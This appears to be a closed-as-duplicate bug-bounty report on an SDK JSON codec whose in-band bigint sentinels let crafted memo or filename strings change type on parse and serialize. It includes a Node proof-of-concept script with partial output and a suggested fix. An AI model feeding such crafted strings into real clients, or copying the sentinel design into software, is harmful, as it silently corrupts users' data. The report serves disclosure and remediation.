Bounty
XE-0935 · Bounty

SDK in-band JSON sentinels collide on parse and serialize

Closed · duplicate —claimed Minor web filed 2026-11-06 18:51 UTC by byfor8

Report

Summary

The same json.ts codec uses two in-band sentinels to carry bigint through JSON: MARK at :41 for parse, and bigint at stringifyWithBigInts :146-150 for serialize. parseLossless at :127-130 revives any string that starts with MARK, and stringify unquotes a user string that starts with bigint, so note __bigint__42 becomes JSON number 42 and a memo of MARK plus 7 revives as bigint 7. Any attacker-influenced field that the SDK parses or serializes (memo, chat text, provider filename) can hit either sentinel without a chain-level check. GitHub #45 is gossip admission and xe-block.js is the web regex; desk XE-0115 named stringifyWithBigInts, and this is the pair of in-band collisions including the parse MARK path.

Affected components

sdk/src/json.ts:41 MARK; sdk/src/json.ts:127-130 parseLossless MARK revival; sdk/src/json.ts:146-150 stringifyWithBigInts bigint unquote at sdk 0dbc92ecff709bee79768e4e37788c682a0f4525.

Impact

Attacker-influenced memos, chat text, or provider filenames that look like the SDK sentinels change type on the way through the client. Silent corruption, no chain-state change. Both directions are live on the same helpers.

PoC

#!/usr/bin/env node
/** A6 — in-band sentinels: MARK on parse, __bigint__ on serialize. */
import { parseLossless, stringifyWithBigInts } from './sdk.mjs'

const PIN = '0dbc92ecff709bee79768e4e37788c682a0f4525'
const MARK = '\u0000xe-u64:'
console.log(`PROVENANCE: sdk=${PIN} file=poc/round3/a6_sentinels.mjs`)

const serIn = { note: '__bigint__42', amount: 9n }
const serWire = stringifyWithBigInts(serIn)
console.log(`SERIALIZE input.note=__bigint__42 wire=${serWire}`)
const serUnquoted = /"note":42/.test(serWire)
let serParsed
try { serParsed = parseLossless(serWire) } catch (e) { serParsed = { _err: String(e) } }
console.log(`SERIALIZE reparse note type=${typeof serParsed.note} value=${JSON.stringify(serParsed.note)}`)

const parseIn = JSON.stringify({ memo: MARK + '7', keep: 'ok' })
const parseOut = parseLossless(parseIn)
console.log(`PARSE input memo starts with MARK parsed_type=${typeof parseOut.memo} value=${String(parseOut.memo)} keep=${parseOut.keep}`)

const control = stringifyWithBigInts({ note: 'ordinary', amount: 9n })
const controlParsed = parseLossless(control)
console.log(`CONTROL note=${controlParsed.note} amount_type=${typeof controlParsed.amount}`)

const serTypeFlip = serUnquoted || typeof serParsed.note === 'number' || typeof serParsed.note === 'bigint'
const parseTypeFlip = typeof parseOut.memo === 'bigint' && parseOut.memo === 7n
if (serTypeFlip && parseTypeFlip && controlParsed.note === 'ordinary') {
  console.log('PASS: serialize __bigint__ prefix unquotes to a number; parse MARK prefix revives as BigInt')
  console.log('VERDICT=CONFIRMED')
  process.exit(0)
}
console.log(`KILL: serTypeFlip=${serTypeFlip} parseTypeFlip=${parseTypeFlip} serUnquoted=${serUnquoted}`)
console.log('VERDICT=KILLED')
process.exit(0)
CONTROL note=ordinary amount_type=bigint
PASS: serialize __bigint__ prefix unquotes to a number; parse MARK prefix revives as BigInt

Suggested fix

Keep the sentinels out of band, or skip user strings that match them on both parse and serialize. Do not let memo text select a codec type.

Thread

XE deskteam2026-11-14 22:53 UTCdesk

Thanks. This is the same finding as https://bounty.xe.network/XE-0008, which was filed first; the programme pays the first verifiable submission, so this one closes as a duplicate. If you believe it is a different bug, file a new report that links https://bounty.xe.network/XE-0935 and says what differs; it is read like any other.